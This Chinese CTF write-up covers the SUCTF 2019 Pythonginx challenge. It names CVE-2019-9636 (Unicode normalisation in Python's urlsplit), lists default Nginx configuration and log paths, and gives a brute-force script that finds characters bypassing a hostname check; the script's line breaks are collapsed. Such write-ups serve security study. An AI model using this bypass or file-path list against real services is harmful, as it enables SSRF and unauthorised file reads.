刷题记录:[SUCTF 2019]Pythonginx,, 目录


目录

刷题记录:[SUCTF 2019]Pythonginx 一、涉及知识点 1、 CVE-2019-9636:urlsplit不处理NFKC标准化 2、Nginx重要文件位置 二、解题方法

刷题记录:[SUCTF 2019]Pythonginx

题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SUCTF wp
SUCTF_2019_部分复现

一、涉及知识点

1、 CVE-2019-9636:urlsplit不处理NFKC标准化

https://bugs.python.org/issue36216

2、Nginx重要文件位置

配置文件存放目录:/etc/nginx主配置文件:/etc/nginx/conf/nginx.conf管理脚本:/usr/lib64/systemd/system/nginx.service模块:/usr/lisb64/nginx/modules应用程序:/usr/sbin/nginx程序默认存放位置:/usr/share/nginx/html日志默认存放位置:/var/log/nginx

二、解题方法

抄个脚本

from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode():    for x in range(65536):        uni=chr(x)        url="http://suctf.c{}".format(uni)        try:            if getUrl(url):                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])        except:            passdef getUrl(url):    url = url    host = parse.urlparse(url).hostname    if host == 'suctf.cc':        return False    parts = list(urlsplit(url))    host = parts[1]    if host == 'suctf.cc':        return False    newhost = []    for h in host.split('.'):        newhost.append(h.encode('idna').decode('utf-8'))    parts[1] = '.'.join(newhost)    finalUrl = urlunsplit(parts).split(' ')[0]    host = parse.urlparse(finalUrl).hostname    if host == 'suctf.cc':        return True    else:        return Falseif __name__=="__main__":    get_unicode()

虽然想到可能是编码的问题,但是没动手去写脚本跑,懒狗一条。
还有wp是github上搜到的,不愧是全球最大同性交友网站,下次不能局限于百度

刷题记录:[SUCTF 2019]Pythonginx

评论关闭